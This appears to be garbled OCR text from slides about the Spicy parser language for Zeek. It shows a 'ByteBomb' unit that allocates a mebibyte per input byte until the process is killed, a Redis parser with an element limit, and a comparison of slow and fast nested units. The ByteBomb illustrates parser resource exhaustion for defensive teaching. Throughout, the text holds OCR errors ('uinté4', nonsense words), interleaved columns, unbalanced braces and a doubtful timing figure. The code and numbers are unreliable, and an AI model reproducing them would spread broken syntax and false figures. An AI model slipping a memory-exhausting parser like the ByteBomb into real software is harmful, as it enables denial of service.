const MiBPerByte = 1024 * 1024; 5

type ByteBomb = unit {
Byte: Uinte: ParseError

var extra_crap: vector<uint8>;
on %init { self.extra_crap.resize(MiBPerByte); }

e

public type Input = unit {
bombs: ByteBomb[] &eod;
i

[1] 41825 killed spicy-driver

BonnnSiaernwih
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local limit = zeek::get_count("Redis::max_aggregate_elements");

[error] resp.spicy:9:1-9:12: cannot import module 'zeek': cannot find file
[error] spicyc: aborting after errors

@if HAVE_ZEEK
import zeek;
global _max_aggregate_elements: optional<uinté4>;
public function max_aggregate_elements(): uinté4 {
if (!_max_aggregate_elements)
_max_aggregate_elements = zeek::get_count("Redis::max_aggregate_elements");

return *_max_aggregate_elements;

'y

@else

public function max_aggregate_elements(): uinté4 {
return 20000;

I

@endif
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module SlowNestedUnits;

public type EncodedOctet = unit {

Go faster!

public type Padl = unit {
. value: EncodedOctet; module FastNestedUnits;

public type Flags = unit {

value: EncodedOctet;

type Header = unit {
kind: uint8;

I

155.4us -> 52.8 ps

public type HopLimit = unit {

value: EncodedOctet;

switch (self.kind) A

0 — pad: uint8;
7 flags: uint8;
public type QueueClass = unit {

value: EncodedOctet;

1 -
2 — hop_limit: uint8;
3 — queue_class: uint8;

5
public type Header = unit {
kind: uint8;

public type Fast = unit {

switch (self.kind) { :
e Header[] &eod &max-size=4096;

0 — pad: Padl;

1 — flags: Flags;

2 — hop_limit: HopLimit;

3 — queue_class: QueueClass;

public type Slow = unit {
headers: Header[] &eod &max-size=4096;

}.
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